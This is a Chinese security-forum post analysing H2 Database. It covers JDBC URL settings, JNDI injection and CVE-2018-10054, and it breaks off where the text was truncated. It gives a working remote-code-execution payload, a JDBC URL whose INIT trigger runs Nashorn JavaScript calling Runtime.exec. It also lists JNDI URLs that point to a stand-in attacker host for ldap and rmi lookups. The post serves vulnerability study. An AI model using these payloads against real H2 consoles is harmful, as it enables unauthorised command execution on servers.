论坛首页 漏洞分析研究区 阅读主题

[原创]H2 Database及其三个CVE详细分析

404 浏览 1 回复
#1 楼主 2026-06-01 21:09:07
H2 DataBaseH2 profile一个纯 Java 编写的开源 SQL 数据库有以下五个特征:体积小巧,零依赖  H2 Database 主要为嵌入式场景设计        所以体积相比其他数据库更加轻量且不依赖任何外部库,单个 JAR 文件只需 2.1–2.7 MBBrowser-based Console  H2 提供基于浏览器的 Web 管理界面,便于开发和调试磁盘 / 内存双模式        既可以将数据持久化到磁盘文件,也支持纯内存数据库,适用于不同使用场景嵌入式 / 服务端双模式        可嵌入 Java 应用进程内运行(Embedded 模式),也可作为独立数据库服务器运行原生支持 JDBC 接口  H2 原生兼容 JDBC,便于 Java 应用快速集成
此外,H2 Database 的设计初衷是被用于内网环境或受保护的开发环境中,而非直接暴露至公网环境中官方文档提到:H2 is not designed to be run outside of a secure environment.所以 H2 官方其实不承认很多因为 web ui 暴露至公网所导致的 CVE言外之意:我压根就不是这么设计的,你非要这么用,那后果自负(虽然后面还是会打相应的补丁)H2 JDBCJDBC 是 Java 提供的 访问数据库的标准 API ,全称是 Java Database Connectivity H2 的 JDBC URL 如下:jdbc:h2:<mode>:<database>;<setting1>;<setting2>;...
<mode> 决定数据库的存储/连接方式mode含义示例mem纯内存数据库jdbc:h2:mem:testfile/不写本地磁盘文件数据库jdbc:h2:file:/data/test等价于jdbc:h2:/data/testtcpTCP/IP 远程连接jdbc:h2:tcp://127.0.0.1/~/testsslSSL 加密远程连接jdbc:h2:ssl://127.0.0.1/~/test
<database> 是数据库名称,可以是文件名、内存名称、TCP 路径等连接形式JDBC URL<database> 示例说明内存数据库jdbc:h2:mem:testtest内存数据库名称匿名内存数据库jdbc:h2:mem:空未显式指定名称本地文件数据库jdbc:h2:file:/data/test/data/test本地数据库文件路径本地文件数据库jdbc:h2:~/test~/test用户主目录下的数据库路径TCP 远程连接jdbc:h2:tcp://localhost/~/test//localhost/~/test远程服务器上的数据库路径SSL 远程连接jdbc:h2:ssl://db.example.com/prod/test//db.example.com/prod/test远程服务器上的数据库路径
<setting> 是可选的连接参数,控制数据库行为漏洞常见的 setting 包括但不限于:参数名称参数作用常见值INITH2 JDBC URL 初始化参数,连接建立后自动执行 SQLRUNSCRIPT FROM '...'IGNORE_UNKNOWN_SETTINGS忽略未知 JDBC URL 参数,避免因额外参数报错TRUEFORBID_CREATION控制是否禁止创建数据库FALSEdriver传入 JdbcUtils.getConnection() 的驱动类名在 Console / Shell / 某些 SQL 过程里可控默认为org.h2.Driver通常劫持为javax.naming.InitialContexturl传入 JdbcUtils.getConnection() 的数据库 URL / JNDI URLldap://attacker/...rmi://attacker/...H2 JNDIJNDI 是 Java 提供的命名和目录服务标准 API ,全称是Java Naming and Directory Interface它的作用是通过名称去查找资源,而不是在代码里直接硬编码资源对象而 JNDI 注入是指当应用在初始化 JNDI 查询时lookup() 的参数可被攻击者控制且未作过滤或过滤可绕过,攻击者可借此让应用去查询恶意命名服务协议作用LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象DNS域名服务CORBA公共对象请求代理体系结构CVECVE-2018-10054适用版本:H2 Database 1.4.197 以及之前的所有版本利用前提:仅需要http://ip:port/h2-console/可访问Poc 以及成因:如果网站管理员将下面的两个参数设置为了 True , 就会将 h2-console 这个 web 管理 ui 界面启用spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true同时由于H2 database 预期只被部署在内网和受控网络环境中所以 H2 Group 官方没有对 h2-console 做任何鉴权处理而 h2-console 可以让我们完全自定义 JDBC 和 驱动类同时 H2 Database 1.4.197 及之前并未禁止远程创建数据库且未对 JDBC URL 做任何过滤和限制这就导致攻击者不需要事先知道具体有哪些数据库,也不需要考虑哪些 JDBC setting 不可用攻击者可以任意指定数据库名,H2 database 会自动创建原本不存在的数据库那么有以下两种攻击路径:JS  当目标 Java 版本较低时,可通过 JavaScript 方法 RCE :Java8-Java14,Java 15 以后 Java 自带的 Nashorn JavaScript 引擎被删除jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290438.htm
#2 2026-06-01 21:09:07
前来催更

请登录后参与讨论

立即登录 注册账号